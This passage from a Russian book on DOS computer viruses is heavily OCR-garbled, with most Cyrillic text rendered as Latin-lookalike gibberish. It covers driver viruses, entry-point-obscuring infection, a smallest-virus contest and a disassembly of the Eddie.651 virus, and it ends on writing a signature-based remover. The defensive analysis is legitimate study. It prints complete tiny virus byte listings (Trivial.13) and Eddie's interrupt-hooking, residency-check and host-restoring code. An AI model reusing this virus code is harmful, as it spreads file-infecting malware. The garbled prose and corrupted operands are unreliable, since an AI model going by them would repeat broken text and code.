POrpaMM <JIbIp». Ecim ke 3To MpoMcXo/usio, To IPOU3BOIUTENN 1PO-
rpamMmuoro obecredenus 1t MS-DOS npakTudeck Beerja «yIaKoBbIBa-
Ji» cBOM Tporpammbl yrusmramu Tunia PkLite, LZEXE, diet, AINEXE u T. 11.

O6parute BHUMaHUE: TIO[00HbIE TEXHOJIOTUU HE yMepJin BMecTe ¢ MS-
DOS, B XXI Beke oHM HCIIOJB3YIOTCI U HEKOTOPBIMU COBPEMEHHBIMU
OyTkuTamu!

3.9.4. Bupycbi-«apaiiBepbl»

Peub uzer 006 0UeHb CIOKHON ¥ KPACUBOI PasHOBUIHOCTH BUPYCOB, UC-
MOJIB3YIONIUX JIJISL CBOEi paboThl ocoberHocTr daiiioBoil cucrembr FAT.
He 6yzer nmpeyBesnyeHneM cKa3aTh, 4TO aBTOPHI ATUX BUPYCOB — MCKJTIO-
YUTEJILHO CUIbHBIE CUCTEMHbIE TPOIPAMMUCTBI.

Bupyc Dir-11.1024 (Driver.1024, DIR-1024) 6wt nanvican 8 1991 ro-
Jly TIPEIIOJIOKUTENIbHO Ha YKpanHe, B Topojie JIbBoBe. OH He TOJIBKO Bbl-
3BaJ MAcCOBYyI0 amuaemuio B crparax ObiBirero CCCP 1 Bo BceM Mupe,
HO 1 TOPas3wJl BOOOPaskeHHEe BUPYCOJIOTOB CBOEH HecTaHaapTHOCThIO. Oc-
HOBHag mjies aToro Bupyca — mopuduimposars 3anucu o COM- u EXE-
(haiiiax B KaTajsorax AUcKa TakuM 00pa3oM, 4TOOBI BCE OHU YKA3bIBAJIM
B FAT-Tabauie Ha o/{Hy U Ty Ke TIETN0UYKY MCKOBBIX KIacTepoB. Pazyme-
ercst, 3To ObLIa IEM0YKa, OTUCHIBAIOIIAS MECTOIIOJIOKEHIE €[HHCTBEHHON
MIPUCYTCTBYIONIEN Ha MCcKe (B €ro MocJelHeM KJaacTepe) KON BUpYyca.
[Momnmuunast wHGOPMAIUS O MECTOMOJIOKEHUN TTPOTPAMMHBIX (haiiioB
(cebuikn Ha FAT-rabimiy) nepeMeniajach B HEHUCIIOJIb3yeMble 00Jia-
cTU 3anmceil B Katajgorax aucka. Haxomsch B mamsitu pesuzieHTHO (60-
Jiee TOTO, IIOAMeHsIs cO00I IMCKOBBII apaiiBep!), BUpyC Ipu 06paIieHnn
K IPOrpaMMHBIM (haiijiaM «Ha JIeTys» KOPPEKTUPOBAJ 3Ty WHMOpMaImio,
CKpbIBast TAKMM 00Pa30OM OT TI0JIb30BATEJIST CBOE MMPHUCYTCTBHE,

Bupyc 3APA3A mosBusICS Ha HECKOJIBKO JIET MO33Ke, CHOBA €T0 aBTO-
POM, CKOpee BCETo, SIBJISIJICS Halll COOTEYeCTBEHHNK, N CHOBA Ha BUPYCO-
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JIOTOB IIPOM3BEJIa OTPOMHOE BII€YAT/IeHNe HeTPUBUAIBHOCTD MCIIOJIB30-
BaHHOI ujien. ITOT BUPYC co3/1aBaj i mporpammuoro gaiiia «10.SYS»
(KOTODBIiI B [IEPBYIO OUEPE/Ib ITOJIyYAeT YIIPABIeHUE B [IPOIECCE 3aTPY3KU
oIepannoHHoi cuctembl) ase 3amucu B FAT-tabaune. Ilepsas samnucs,
asbinBast, yKaspiBaja Ha BUPYC, HO MIMEHHO OHA T10 YMOJIYAHUIO [IPU-
HUMAJIACh BO BHUMAHME 3arPy34uKOM OIePAIMOHHON crctembl. CTapTo-
BaB, BUPYC BBITIOJIHSI CBOU «00JIE3HETBOPHBIES JIEHCTBUS U TOJIBKO TTOCTIE
ATOTO Tepe/laBal yipapjieHre opurnHaibHomy koxay daitna «10.SYS».
K cuactpio, 6OJIBINON MUEMUN 3TOT BUPYC HE BBI3BAJ, HO <IIIOPOXY Ha-
BeJi». Bupychoi-sipaiiBepsr orepaiinonnoi cucreMbl MS-DOS nocaysxuim
MPOTOTUIIOM JIJIE OUeHb HEGOJIBIIOTO KOJMIECTBA MOAPAKAHUN U 3aKO-
HOJATEJISIMU BUPYCOIIUCATETBCKON MOJIBI TaK U He crasi. CIIMITKOM YK
CJIOZKHBI OBLIM UCIOJIb30BAHHBIE B HUX TEXHOJIOTUH.

3.9.5. Bupycbl ¢ «HEM3BECTHOW» TOYKOW BXOAa

B nopaBIistioniieM GOJIBITUHCTBE CJYIaeB BUPYCHI, TIOMYUAIOIIHe YIIPaBJie-
Hue 1pu iomon koMauj «JMP» unun «CALLy, nenaior «Bpe3ky» 3Toi
KOMaH/Ibl B IIEPBBII GaliT IporpaMMbl-<«KepTBbl». COOTBETCTBEHHO, (POp-
MaJIbHas TOUKa BXOJIa B BUPYC B 3TOM CJIydae COBITAJIaeT ¢ TOUKOH BXO/a
B miporpammy. Ho HEKOTOpbBIE BUPYCHI YMEIOT «BPE3aThCs» B CEPENUHY
(aiira «KepTBbI» TaKUM 0OPa3OM, YTO CHAYaja yIpaBJeHUE MOJydaeT
porpaMma-<KepTBa», OHa HAUMHAET HOPMAJIBHO BBITTOJTHATHCS, BBIYMC-
JINTEJIBHBIN TIPOIIECC PAaHO MJIM TIO3/IHO JIOXOIUT /10 «3aMUHUPOBAHHOI»
TOYKHM, ¥ TOJILKO TOTJIA CTAPTyeT BUPYC. ITO — IOIIBITKA PeaTnu3alliu cTa-
PUHHON BUPYCOMUCATETbCKO MEUTHI: cOo3/aTh HEOOHAPYKUMBIIT 1 HEHC-
HEJTUMBIN BUPYC, «BPEIHBIE» KOMAH/IbI KOTOPOTO SBJISIOTCS OJTHOBPEMEH-
HO U <IT0JIE3HBIMU» KOMaH/[AMU 3aPAsKEHHON TTPOTPAMMBI.

Pacemotpum aty texnosnornio (ee mHorna naspiBaior EPO — Entry
Point Obscured uin UEP — Unknown Entry Point) na npumepe Bupyca
Vpp.475. Bor kak Bhirisiiesia «1ipo3oduiiay 10 3apaskeHusl, 1 BOT KaK OHa
CTaJla BBIIVIAETD I10CIe:

; [lo 3apaxeHus
0100 mov ah,9
0102 mov dx, 10Bh
0105 int 21h
0107 mov ah, 4Ch

0109 int 21h
010B db  "Hello world!$’

; llocne 3apaxeHus
0100 mov ah, 9
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0102 mov dx, 10Bh

0105 call 117 ; "Bpeska” Bupyca
0108 db 4Ch

0109 int 21h

010B db 'Hello world!$"

0117 ... ; Hawano BupycHoro kopa

B mporiecce nccesenoBanust MOTEHIMATBHON «KEPTBBI» BUPYC 0OHAPY-
JKUJI BHYTPY Hee HECKOJBKO BBI30BOB mpepbiBanus 21h (n1Byx6aiitoBbie
coueranust «CDh 21h»), BeIOpas U3 HUX cIydailHBIM 00Pa3OM KaKoe-TO
OTHO ¥ BCTaBUJI B 3Ty TOUKY KOMAHJy TIepexo/ia Ha HAvyajo BUPYCHOTO
KOJIa.

Ho Bexnp Gaiitel «CDh 21h» Moryu npuHaziekath He MAIIMHHON KO-
manze «INT 21h», a kakomy-HuOYAb 110110 AaHHbIX! B 9TOM ciiydae Bupyc
TaK HUKOT/IA ¥ HE MOJIy4Y Il OBl yIPaBJIeHus, a MPOrpaMMa OKa3anach Obl
ucnopyenHoii. [loaTomy myureii crparerneii, ¢ TOUKU 3peHUsT BUPYCA, MOT
GBI CITYKUTH MOUCK MOAXOSIIEH TOUKH 75T «BPE3KI» MTPU TIOMOIIH TIPE/I-
BapUTEIBHOI allapaTHON TPACCUPOBKIY TeJIA TOTEHITHAIBHON «’KEPTBBI».
W rakue BUpPYCHI AEHICTBUTENBHO UMEIOTCS, HAIIPUMED ITPECTABUTEIH Ce-
meiictBa Emmie.

«3apagy» MmojloOHOT0 pojia MPOIE BCEro O0OHAPYKUBATH, CKAHUPYSI
«xBocTy» aiisa. Hy a ecsii Tesio Bupyca 3ammdpoBaHo, TO aHTUBUPYCY He
OCTaeTCsI HIUETo MHOTO, KPOME KaK TPACCUPOBATh IPOrpaMMy (armapaTtHo
WU TIPY TTOMOTIH AMYJIATOPa), obpaliast 0coboe BHUMAHUE HA KOMAH/IbI
«JTaJIeKUX» TIEPEXOJIOB.

3.9.6. Cambin ManeHbKnii BUpPYC

Borpoc 0 «caMoM MaJIeHbKOM BUPYCE» JI0 CUX TIOP OXOTHO 06CYIKAAETCs
B Pas/iMYHbIX KOoH(pepeHIuAX 1 hopymMax. YMeHre HamcaTb KPOXOTHYIO
CaMOPa3MHOKAIONLYIOCS TIPOTPAMMY CJIYKUT KPUTEPUEM TTPOTPAMMUCT-
ckoii kBamuduraiuu. C 1aBHUX TOP IIPOBOJSATCSA BCEMUPHbBIE KOHKYPChI Ha
caMyIo «3amyTannyio» nmporpammy Ha sisbike Cu (IOCCC — International
Obfuscated C Code Contest) 1 Ha caMyIo KPaCUBYIO «IeMKY» MIUHUMAJIb-
noro pasmepa (4K Intro). Touno tak ;xe cyniecTByeT u HeoUITUATLHBII
KOHKYPC Ha CaMbIil MAJIEHbKHI BUPYC. Y4aCTBOBATDH B HEM He OPE3ryioT u
BUpycoJIoTU. BOT oinH 13 panHux atanos (Havano—cepeauna 90-x ronoB
XX Beka) mpoBeieHNd 9TOTO KOHKYPCa, OTPAKEHHbIN B BUPYCHOM CIIpa-
pounuke /I. H. Jlodunckoro:

Mini-145. 3apaxaet Tonbko COM, pe3vaeHTHbivi. CaenaH 4O0BOJIbHO

n3obperaresibHO, HO PEKOPA A/INHbI, K KOTOPOMY SIBHO CTPEMUTCS aB-
TOP, HE NobwurT.
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Mini -150, -146, - 145. Ewye Tpuy Bupyca, rno-BuanMoMy, TOro Xe aBTo-
pa. [lea Bupyca Mini- 145 aB5s110TCS1 COBEPLUEHHO Pa3J/INnYHbIMU, XOTS
B MPOTOKOJ1€ HEPA3JINYUMBbI.

AT-144. 3apaxaet 1o/1bk0 COM, pe3uvaeHTHbii. CoaepxuT napy
KOMaHz, KOTopbix HET B ripoueccope 8088, B cBA3U C 4eM He [0J1-
XeH paboTtatb Ha PC-XT. HanvncaH sBHO CrioCOBHbIM MpPorpamMmmMyCcToM
B pacyete Ha rnobutue pekopaa AavHbl Bupyca. [oskeH, oaHaKko,
€ero pa3o4apoBartb — eCcTb 60/1rapckuii BUPyc, uMmetoLmi aanHy 133,
npudem 6e3 PUSHA. lNpnyem ero aBTop otimyaeTcsi v 60J1bLIeVi 10~
PSII0YHOCTbIO — 3TOT BUPYC CYLLECTBYET TOJIbKO B KOJIIEKLNSIX BUPY -
COJI0ros.

Mini-143. 3apaxaet Tosibko COM, B Ha4ase KOTopbiX CTOUT KOMaHaa
JMP.

Mini-140. He pabotaet Ha 8088.
AT-132. NpocTo BenvkonernHo!

Mini-127. 3apaxaet Tobko COM, pe3naeHTHbI. be3HanexHo rnop-
TUT BCE 3apaxaemble MporpaMmMbl, €C/iM MallunHa UMeeT namsiTb
512 K6 vinv meHbLue.

Mini-122, -128, -129, -130, -131, -132, -137... 3apaxatloT TOJ/IbKO
COM, pe3uvgeHTHbIE.

Micro-92. 3apaxaet tobko COM, pe3vaeHTHbIN. HanvcaH yanBu-
T€/1bHO U3siLHO. OCOOEHHO NMPUSITHO, 4TO npucaan MHe ero n3 CaHKT-
lMetepbypra cam aBTop — ConoBbeB Muxann AHaTobeBUY, MPUYEM
rapaHTupoBasl, 4TO PacrpocTPaHsaTbCs OH He byaet. B Aidstest oH
BKJIIOYEH NLLIb B KAYECTBE YKPALLEHWST KOJINEKLMU.

Micro-66. 3apaxaet To/1bk0 COM, pe3unaeHTHbI. 3T0, KOHEYHO, He-
BO3MOXHO, HO Uropb [aHunnoB cymen ero caenarb! EcTb ewe n 86,
80, 76, Ho Ha cBoboae M He rynsite, NoaToMy B Aidstest BcTaBieH
TOJIbKO TEKYLUM pekopld. MHe kaxeTcsi, 4To ero nobuTb HEBO3MOXHO,
HO...

Micro-60. 3apaxaet To/16k0 COM, pe3uvaeHTHbI. ABTOp AMutpuii
Kyb6os.

Micro-59. 3apaxaet Tosibko COM, peanaeHTHbI. Pekopad, HO S yXe
He peLlarch YyTBEPXAATb, 4TO €ro He rnobbIoT. ..
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Ha camoM JieJie, KOHEYHO Ke, CTIEA0BAIO Obl PA3/IEIUTh 3TOT «<KOHKYPC»
Ha HECKOJIbKO HE3aBUCUMBIX M PETMCTPUPOBATH PEKOP/IbI B PA3JUUYHbBIX
<«HOMHHAIMSIX>. BOT Kak (110 MOUM CBeJIeHUsIM) 0OOCTOUT CUTYAIHS C Pe-
KOp/laMU HA MOMEHT HAITMCAHUS 9TUX CTPOK.

«Camblii-caMblii-camMblii» KOPOTKUI «BUPYC» COCTOUT BCETO U3 OJIHOU
MarmmHHON KoMatbl «MOVSB» juminoit 1 (oaun) 6aiiT. ITOT «BUPYC>
CO3/Ia€T CBOIO KOIUIO B ONEPATUBHON MAMSITH, €CJIM 11ePe/]] BBITOJTHEHNEM
Ha HEero yKasbiBajia peructposad rmapa DS:SI.

Bupyc Trojan.Kyjak.4. Camas majeHbKas IporpaMma, CHocoOHast
«cOPOCUTh» CBOI KOZ B CJIyYailHbIl CEKTODP AMCKETHI MU BHHYECTEpA.
Cocrout ona Beero us 4 (4eTbipex) GaiToB.

Bupyc Trojan.StdOut.5. Camas MajenbKas IporpaMma, ClocodHast
CO3/1aTh CBOIO KOIIUIO B BUAECONAMATH (1, COOTBETCTBEHHO, HA 9KPaHe).
Omna cocrout Bcero u3 5 (maTu) 6aANTOB U IOJIyYIIa U3BECTHOCTD OJ1a-
rojaps rurneprekctoBoMy BupycHomy kartasory AVPVE E. Kacnep-
CKOTO:

95 xchg ax, bp

8BD6 mov dx, si
cb21 int 21h

Trivial.13. Camas masenbkass COM-nporpamma, crnocoOHas 3alucaTh
cebs1 B 1MCKOBBIN (haiis (¢ «Heym000IPOU3HOCUMbIM» UMEHEM ), COCTOUT
Bcero usz 13 (rpunazanarn) Gaiitos. E. Kacnepckuil Hu 3a 4T0O ¥ HUKOIIA
He CO3HAETCSI B €e aBTOPCTBE, XOTSI BCe KOCBEHHbBIE YIUKHU U TIOKA3AHUS
CBUJIETEJIEN ATOTO «KOIIMAPHOTO MPECTYILIEHUST> HEeBYCMBICTIEHHO YKa-
3BIBAIOT Ha HETO.

35003C xor ax, 3¢00h
41 inc ¢x

87F2 xchg si, dx
cb21 int 21h

93 xchg ax, bx
B440 mov ah, 40h

Ch21 int 21h

Bmpouem, cam E. Kacriepcknii He CKpBIBaeT, YTO TI0 KpaifHell Mepe OnH
BUPYC €My HAIUCATh TPUIILIOCH... IMKOJbHBIM MEJIOM Ha ayIUTOPHOM J10-
cke. He uckioueto, uto a1o u 6611 Trivial.13. CTOpOHHUKY TEOPUE «BU-
pycosoroB-Bpenutesieii», ay! Bot Bam n eme onnH «aprymenTt»! He Mmenee
WUJINOTCKWH, 4eM BCe OCTAJbHBIE.

Companion.36 — cambIii MaJIeHbKII BUPYC — «CIYTHUK».

Tiny.53 — caMblit MaJIEHBKUT PE3UAEHTHDII BUPYC.

Mini.60 — cambIii MaTeHbKUIT HEPE3UEHTHBII BUPYC.
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Bce Teuer, Bce uameHsieTcst. BOMBITMHCTBO TAKUX «MUKPOBUPYCOB» TIH-
CAJTMCh C OPUEHTAIEN HA KOHKPETHBIE TTPOIECCOPHI 1 BEPCUN OTIEPATIH-
OHHBIX crcTeM. [ToCTeNmeHHO ORI TEPSTIOT CITIOCOGHOCTD K PA3MHOKEHUIO.
Vckpente Ha/IeI0Ch, YTO apECTOBBIBATH M «CaKaTh» WX aBTOPOB HUKTO HE
cobupaercsi.

3.10. NMoapobHLIn Nnpumep 0BHapy>keHns,
aHaAN33 N yAaAeHUs

S mebs, cmapuxaweuxy moezo, évlieuy, Ha
102U NOCMABI0, 8 00U 6bIBEDY...

A.u B. Crpyrankue. «MaJbriiny

B kauecTBe KOHKPETHOTO MPUMEPA PACCMOTPHUM TIPOIEAYPY OOHapysKe-
Hust, usyueHus u Helitpanusaiun pupyca Eddie.651.a, ynomstayToro ere
B «Kommbroteproit Bupycosorun» H. H. Beapykosa moj1 1ackoBbIM 11po-
3BUIIEM «IIUK». DTOT cTapuHHblid (TpuMepHo KoHIa 80-x rooB XX Be-
Ka) BUPYC KPailHe IIPOCT, HO B TO JKe BPEMSI COJIEPIKUT B ceOe GOJIBITIHCTBO
MIPUEMOB, PACTUPAKUPOBAHHBIX BIIOCJEICTBUH B ThICSUAX ropaszio GoJiee
nmo3HNX pazpabotok. Ha wem ke erie oTTaunBaTh BUPYCOJOTY MacTep-
CTBO, KaK He Ha KJIaCCHUECKUX 0Opasiax?

3.10.1. CnocoObl 0GHapyXXeHUs U BbiaeneHus Bupyca
B YACTOM Bupe

B Te BpeMeHa, Korjia «DIUK> UMET XOKICHHUE, TOJb30BaTeH OBbLIH CIIe
CPAaBHUTEJNBHO MaJIO OCBEJIOMJIEHBI O <«IIOBAJIKaX» BUPYCOB, HE HUMEJHU
CIIEIMAIbHBIX CPEICTB s 00HAPYKEHMs «3apasbl» 1 00BIYHO [IPOCTO HE
3aMeyvajii TOro, YTO UX KOMIIbioTep uHuimpoban. ToJbKO BecbMa BHU-
MaTeJIbHBIN T10JIb30BaTE/Ib MOT 0OPATUTh BHUMAHUE Ha CJICAYIOIINE CUM-
MITOMBI:
O HekoTopble MporpaMMbl  (HalpuMep, CHCTEMHAs  YTHUJIUTA
«CHKDSK3>), patee paboraBiiiiie HOPMaJIbHO, TEMEPH [IPU 3aITyC-
Ke HAauMHAJIU «3aBUCATDh»;
O B cnucke (haiiyIoB, MOJIYYEHHOM ITPU MTOMOIIN KoMaH bl « DIR», Hu-
KaKUX II0J03PUTEJIbHBIX IPUPAILEHUI UX AJIMH He HabGJII01ajI0Ch,
34 UCKJIIOUEHUEM OU€Hb PEJKUX CJIydaeB, KOTJA Pa3Mepbl OT/ENb-
HBIX TTPOTPAMMHBIX (DAIIIOB BAPYT «BBIPACTAIN» B IECTKA U COTHU
TBICSIY Pa3:
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FORMAT ~ COM 50 071 05.05.99 22:22
MODE COM 29 911 05.05.99 22:22
MORE COM 10 503 05.05.99 22:22
DEBUG EXE 20 874 05.05.99 22:22
ASK COM 4294967218 30.10.89 22:41 «uraHTckas» nporpamma

K cuacTpio, cOBpeMEHHBII TOIB30BATENb OYEHD JIETKO MOJKET OOHa-
PYJKHUTH TIPOTPAMMBI, 3apa’keHHbIE aKTUBHBIM (DailIOBBIM BUPYCOM, BOC-
MIOJIb30BABIINCH AHTUBUPYCOM-PEBU30POM  (HANPHMEp, ITPOTPAMMOI
AdInf). Takue aHTHBUPYCHI OTCJAEKUBAIOT BCE TOA03PUTETbHBIE H3MEHE-
HUSI, TPOUCXOJISIINE HA TUCKE KOMIIBIOTEPA: YBEJIUYEHNS M YMEHbIIEHUS
IUTUH TIPOTPAMMHBIX (hailioB, MCKAKEHUST UX KOHTPOJIBHBIX CYMM, W3-
MEHEHUST BpeMeH U JIaT CO3/IaHus, MOAU(MUKAIINIO CONEPIKIMOTO 3arpy-
30UHBIX CEKTOPOB U T. I. Ha MaiuHe, sapaxenHoii «daukom», AdInf 6e3
pobJieM OOHAPYAKUT:

HEBUIUMOE JI0CeJie «<HEBOOPY>KEHHBIM» IJIa30M IPUpAIeHNe [ITUH
3apa’keHHbIX MporpaMMHbIX (aitnoB (kak .COM, tak u .EXE) na
651 GaiiT;

O /I0BOJIBHO CTPAHHYIO METKY BPEMEHHU CO3JIaHUsI ATHX (ailiioB —
«62 cexyHIbI>.

YnobHee Bcero HAYUMHATD AHAJIN3 BUPYCA, 3aPA3UB UM CIIEI[HAJIBHO T10/]]-
TOTOBJIEHHYIO JIJIST 9TOH 1€/ TporpaMMmy. B oteuecTBeHHOI BUpycoIorun
3a TaKMMH TIPOTPAMMAMH 3aKPENUIOCh HAUMEHOBaHUe «0po30guia», 3a
py6eskoM ke ObITyeT TepMUH «goat» (aHriL. — «GapaH»). B obuiem ciyyae,
B POJIN «/IPO30GUITBI> MOKET BBICTYTIATH JAJEKO HE BCIKAsT IPOTPaMMa:

O ona 1o/KHA OBITH CPABHUTENHHO MATIEHBKOH, HO He CTUTIKOM, HH0
HEKOTOPBIE BUPYCHI OTKA3bIBAIOTCS 3aPAKATh «MEJIOUb»;

Q kemaTenbHO, YTOOBI [UIMHA €€ BBIPAKATACh «KPYTJIBIM» UYHCIIOM,
Mabbl IETKO OBLIO OOHAPYKUTH «Ha TJIa3» TPUPAIIEHUE ITOH IITHHB;

Q cTpyKTypa ee Koja OTKHA OBITH OHOPOTHON ¥ PETYISPHOMN, UTO-
OBl JIETKO OBLTO OOHAPYKUTH <«HA TJIa3» BHEAPEHUS WHOPOIHOTO
KO/la BHYTDB;

Q TeM He MeHee TIPOTPAMMA, CTUTONTH COCTOSIIIAS U3 OIMHAKOBBIX Hafi-
ToB (Hanpumep, 13 6aiiToB co sHaueHsaMEI 90h — KogaMu KoMaH bl
«NOP»), HexemaTe/bHa, TOCKOJIbKY HEKOTOPbIE BUPYCHI CIIOCO0-
HbI OOHAPYKUBATH M3JHUITHION <«PETYISPHOCTb» W HE 3apaskaTh
TaKWe MTPOrPaMMBIL.

3.10.2. AHanu3 BUPYCHOro Kopa

JluzacceMbMpyeM 3apaskeHHYIO PO30(GHIY U TIATETHHO U3YYUM TOJTY-
YEHHBIH JIUCTUHT (CM. TIPUJIOKEHNE).
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®parment 1. Haunnaercst Kol BUpyca ¢ KJIaCCUYECKOW KOMOMHAIIUY
KOMaH/I:

0388 E8 0000 call $+3
038E 5B pop bx
038F 83 EB 03 sub bx, 3

Dparmenr 2. JTaiee BUPYC agpecyercs Ha TabJIMIly BEKTOPOB IPEPbIBa-
HUH, U3BJIEKAET OTTY/a OPUIMHAJIbHbII 00paboTunk npepbiBanus 21h u
COXPaHSIET €r0 BHYTPU CBOETO TEJIa:

, Anpecauus Ha Tabnuly BEKTOPOB MpepbiBaHMiA

0392 50 push ax

0393 2B CO sub ax, ax

0395 8E CO mov es, ax

; CoxpaHeHue BHYTpU BMpYCaA CTapbiX 3Ha4YeHuit BekTopa 2

0397 26: A1 0084 mov ax,es:[84h]

039B 2E: 89 87 027C mov cs:data_6[bx], ax

03A0 26: A1 0086 mov ax,es:[86h]

03A4 2E: 89 87 027E mov word ptr cs:data_6+2[bx], ax

ODparment 3. Crenyioliee neficTBIE, BBIIOJHSIEMOE BUPYCOM, — IIPO-
BEpKa HAJINYMS B [IAMATH CBOEH Pe3uieHTHOM KOIIUU:

03A9 B8 A5L5A mov ax, 0A55Ah ; Taponb
03AC CD 21 int 21h

03AE 3D 5AA5 cmp ax, bAA5Sh  ; OTKAMK
03B1 74 43 je Already

3anomunM «1aposb» (A55Ah) u «orsbiB» (5AASh), onu HaM erre pu-
TOMSTCSI.

Oparmenrt 4. TIpomyctum oapobHOE paccMOTPEHHE JIOBOJIBHO [IJINH-
HOTO, HO He 0COOEHHO MHTEPECHOTO (hparMeHTa BUPYCHOTO KO/Ia, TIOCBsI-
LIEHHOTO Pe3U/IEHTHON ycTaHOBKe Bupyca B namsaTu. [Ipocto ormernm: s
ero aHaJIM3a MOYKHO 3aKJII0YUTh, YTO PE3UIEHTHBIN 06pabOTUMK BUPYCHO-
ro npepsiBanus 21h 6yzer pacnonaratses o ememennio 0A7h or nauasa
Pe3UIeHTHOI KOTIHMH, PA3MEIIEHHON B «OTKYCAHHOM» (DparMenTe B KOHIIE
1epBoro MerabaiiTa maMsTu.

03E9 FA cli

03EA 26: C7 06 0084 00A7  mov word ptr es:[84h], New21 ; CwmeueHue = 0A7h
03F1 26: A3 0086 mov es: [86h], ax . CermeHT
03F5 FB sti

Dparment 5. A BOT 9Ta 4acTh BUPYCA UCKIIOYUTETHHO BaKHA JIJIST HAC.
W3 nee Mbl MOKEM M3BJIeYb a/ipeca TeX YYaCTKOB BUPYCA, B KOTOPBIX
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XpaHATcss GparMeHThl 3aPasKEHHON «KEPTBbI», — CTAPTOBbIE OANTHI IS
.COM-niporpamMmbI 1 3aroJIOBOYHBIE M1OJISI C UCTUHHOW TOYKOW BXO/[a JIJIsT
.EXE-nmporpaMmbil.

03F6 1E Already: push ds
03F7 07 pop es
MlpoBepka Tuna nporpammbi-HocuTensa: EXE unu COM?
03F8 2E: 8B 87 0288 mov ax, cs:data_12[bx]
03FD 3D 5A4D cmp ax,bA4Dh ; TZM'?
0400 74 14 je loc_2
0402 3D 4D5A cmp ax,4D5Ah ; MZ'?
0405 74 OF je loc_2
Mepenaya ynpasnerus Ha COM-nporpammy
0407 -BF 0100 mov di, 100h ; CTapToBbIA aapec nporpammbl
040A 89 05 mov [di], ax ; BoccTaHoBUTL nepshie 2 baiTa
040C B8A 87 028A mov al,byte ptr data_14[bx]
0410 88 45 02 mov [di+2],al ; BoccTaHOBWTb TpeTui GanT
0413 58 pop ax
0414 57 push di ; 100h - B cTex
0415 C3 retn ; llepexon Ha 9TOT aapec
Mepenaya ynpasnernus Ha EXE-nporpammy
0416 loc_2:
0416 58 pop ax
0417 8C DA mov dx, ds
0419 83 G2 10 add dx, 10h
041C 2E: 01 97 0282 add word ptr cs:data_8+2[bx], dx
0426 8E D2 mov ss, dx ; BoccTaHoBuTh
0428 2E: 8B A7 0284 mov sp, cs:data_10[bx] . NONOXeHuWe cTeka
042D 2E: FF AF 0280 jmp dword ptr cs:data_8[bx] ;. Nepexon

Nrax, 3 craproBeix 6aiita COM-TIporpaMmbl XPaHITCS [0 CMEIEHUTO
28Ah, a 4 Gaiita crapoii Touku Bxoga B EXE-nporpammy u 2 6aiita crapo-
IO TI0JI0KeHNUsT cTeka — 1o eMetnienusim 280h 1 284h ot Havama BupycHOrO
KOJIa.

Dparment 6. M3yunm 3a01HO 1 OOIILYIO CTPYKTYPY PE3UAECHTHOTO 00-
paborurka npepbiBarust 21h, oHa HaM TOKE TPUTOIUTCST:

0432 New21:

0432 FB sti

0433 3D 4B00 cmp ax, 4B00h ; 9To 3anyck nporpammsl?

0436 74 51 je loc_8

0438 80 FC 11 cmp ah, 11h ; 9TO nowck nepsoro ¢aina?
043B 74 0D je loc_3

043D 80 FC 12 cmp ah, 12h ; 9TO nouck chneaywowero daina?
0440 74 08 je loc_3

0442 3D A55A cmp ax, 0A55Ah ; 9To 3anpoc "naponsa”?

0445 74 3F je loc 7

0447 E9 019A jmp loc_26
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Eciin pasbuparbcst B OAPOOHOCTSX YCTPOUCTBA 3TOro 06paboTunKa, TO
MOKHO OOHAPYZKUTH ¥ TIPOTIELYPY 3aPAsKEHUs, U CIOCO0, KOTOPHIM BUPYC
OTJINYAET 3aPa’KEeHHbIE TIPOTPAMMBI OT «3/I0POBBIX» (IIPECTOBYThIE «62 ce-
KYH/IBI» ), U MEXaHu3M 00eCTiedeHUs] «HEeBUAUMOCTH», U MHOTOE JIPYTOE.
Ho nist obHapysKeHUs U yaieHust «AuKay 9T0 yiKe He TaK BasKHO.

3.10.3. Muwem aHTUBUpPYC

CHauasia HeOOGXOUMO ONPEAETUTHCS: YETO MbI JKJIEM OT 3TOTO0 aHTHUBU-
pyca?
[Ipenmososxkum, MbI XOTMM OTPAHUYUTH PACIIPOCTPAHEHUE «DIUKA» T10
IPYIIie MAIIMH, MEKIY KOTOPBIME H/IET MTOCTOSIHHBIN 0OMEH MPpOTpamMM-
HpiMU (paiimamMu (Takas CUTyalus UMeeT MeCTO, HallpUMep, B CTYy/€eH-
YeCKOM JUCIIIEHHOM KJacce HaKaHyHe ceccun). /g aTOM e MOXKHO
HAIIUCATD:
O  «BJIOKUPOBIUK> — PE3UIEHTHYIO MPOrPAMMYy, KOTOpasi IIPUTBO-
PSIETCSI BUPYCOM, «IIPABUJIbHO» OTBEYAET HA 3AIPOC MMAPOJIST U He
JIaeT, TAaKUM 00Pa3oM, HACTOSIIEMY BUPYCY «BBIPBATLCS» U3 3apa-
SKEHHOH TTPOrpaMMBbl;

Q  «BakIMHATOP» — MPOTPAMMY, KOTOPast OOXO/IUT BCE He3apakeHHbIe
ele TporpaMMHble (HaMIbl U TPUHYAUTEIBbHO CTaBUT UM METKY
«62 cexyHibr».

Ho 1tst 04nCTKY 3aBUPYCOBAHHOM MAITMHbI TIOHAJ00UTCST aHTUBUPYC
TUIA «CKanep-ars.

CHayajia Hazo HpUAYMaTh crocoO obHapyskeHus Bupyca. KoHedHo,
npu3HaK «62 ceKyHIbI» He TOAUTCS. ITO KOCBEHHBIN MPU3HAK HATMYUS
BUPYCa, TaK Ha3bIBaeMast «ciabas cuznamypa». Xotst jet 15 Hasaz cyie-
CTBOBAJ/IN «aHTHUBUPYCDI», IIbITABIIHNECA PACIIO3HATDH <<.3Z[I/IK3>> HNCKJIIOYN-
TEJILHO 110 CTOJIb HeHA/IesKHOMY KpuTeputo. [Ipencrassre cebe, Kak MOBe
Ob1 cebst TAaKO «aHTUBUPYC» Ha MAIIMHE ¢ «BAKIIMHUPOBAHHBIMIS> TIPO-
rpamMamu! VTak, Ha[o UCIIOJIb30BaTh OJHOLEHHbIE GalTOBbIE CUTHATY-
pol. IIpudeM 11es1ec000pasHo 3TO CIEATh TaK, 4TOOBI OJIHY U TY JKe CUTHA-
TYPY MOKHO OBLIIO WCIIOJIB30BaTh jist OOHAPYKEHUsST U BUpYyca B (haiie,
1 €r0 Pe3u/IeHTHON KOMMU — B naMATH. 1loaToMy 1IyCcTh CUTHATY PO T10-
carykut nenodka us 10 6aiitos, HaunHalomascs co cmentenust 0A7h or na-
Yajia BUPYCHOTO Ko/ia (CM. BBIIIE, 3TO TJIABHBIN (DparMeHT Pe3nIeHTHOTO
obpaborumka npepsiBaus 21h): «FB 3D 00 4B 74 51 80 FC 11 74».

Bupyc serko HaiiTi B maMaTH cpasy mocie nocaenqaero MCB. Antusu-
PyC H0JKeH 00e3BPeAnTD ero — 3abuTh Kogamu KoMaHabl «<NOP» 16 Gaii-
TOB, HAUMHAIOIIUXCS B pe3ueHTHOH Koruu co cmerterust 0A7h. Tloce
